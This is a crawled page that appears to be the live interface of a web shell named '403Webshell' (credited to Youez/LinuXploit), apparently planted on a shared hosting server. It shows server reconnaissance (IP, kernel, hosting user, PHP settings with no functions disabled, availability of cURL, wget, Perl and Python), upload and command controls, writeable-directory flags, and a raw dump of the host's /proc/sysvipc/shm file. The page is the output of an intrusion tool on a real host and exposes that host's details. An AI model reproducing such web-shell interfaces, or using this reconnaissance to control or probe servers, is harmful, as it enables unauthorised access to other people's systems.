403Webshell
Server IP : 172.67.155.212  /  Your IP : 216.73.216.0
Web Server : LiteSpeed
System : Linux premium234.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : pawazvgw ( 969)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  103776256  1600                694432 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694130                552960                143360
         0  103776257   600                716128 1803471 1484863      2   475   468   475   468 1748228013 1748228013 1744694133                716800                     0
         0  131399683  1400                375776 364095 3364180      2   484   479     0     0 1748214074          0 1748214074                376832                     0
      5555          4   644                  1024  3347 3743440      0     0     0     0     0 1747961603 1747961603 1729276334                  4096                     0
   5432001  109969413   600                    56 1924805 1484916      6    26    26    26    26 1748228014 1748228014 1745474362                     0                  4096
         0  131498000  1600                524288 1469989 1483284      1   726   720   726   720 1748227976 1748227988 1748227741                  8192                     0
         0  103743516  1600                   576 1803465 1484863      6   475   468   475   468 1748228013 1748228013 1744693829                  4096                     0
         0  103743517  1600               1825056 1803465 1484863      6   475   468   475   468 1748228013 1748228013 1744693829               1826816                     0
         0  103743518  1600                 21744 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694044                     0                 24576
         0  103743519  1600                 43456 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694051                     0                 45056
         0  103743520  1600                 65160 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694056                  4096                 61440
         0  103743521  1600                 86856 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694059                     0                 90112
         0  103743522  1600                108560 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694061                  4096                106496
         0  103743523  1600                130312 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694064                  8192                122880
         0  103743524  1600                152008 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694067                 24576                131072
         0  103743525  1600                173712 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694069                 24576                151552
         0  103743526  1600                195408 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694073                 40960                155648
         0  103743527  1600                217112 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694079                 45056                176128
-1354379232         41   666                    18 16462 929634      0  2167  2169  2167  2169 1732620063 1732620063 1729276473                  4096                     0
         0  103743530  1600                238816 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694082                 40960                200704
         0  103743531  1600                260544 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694084                 45056                217088
         0  103743532  1600                282240 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694087                 77824                204800
         0  103743533  1600                303944 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694089                106496                200704
         0  103743534  1600                325632 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694091                122880                204800
         0  103743535  1600                347328 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694093                122880                225280
         0  103743536  1600                369016 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694095                139264                233472
         0  103743537  1600                390704 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694097                102400                290816
         0  103743538  1600                412400 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694099                 94208                319488
         0  103743539  1600                434096 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694101                122880                311296
         0  103743540  1600                455784 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694103                139264                319488
         0  103743541  1600                477472 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694105                167936                311296
         0  103743542  1600                499168 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694109                180224                319488
         0  103743543  1600                520856 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694112                311296                212992
         0  103743544  1600                542544 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694114                425984                118784
         0  103743545  1600                564240 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694116                438272                126976
         0  103743546  1600                585936 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694118                479232                110592
         0  103743547  1600                607632 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694120                475136                135168
         0  103743549  1600                629336 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694123                512000                118784
         0  103743550  1600                651040 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694125                516096                135168
         0  103743551  1600                672744 1803471 1484863      1   475   468   475   468 1748228013 1748228013 1744694127                528384                147456

Youez - 2016 - github.com/yon3zu
LinuXploit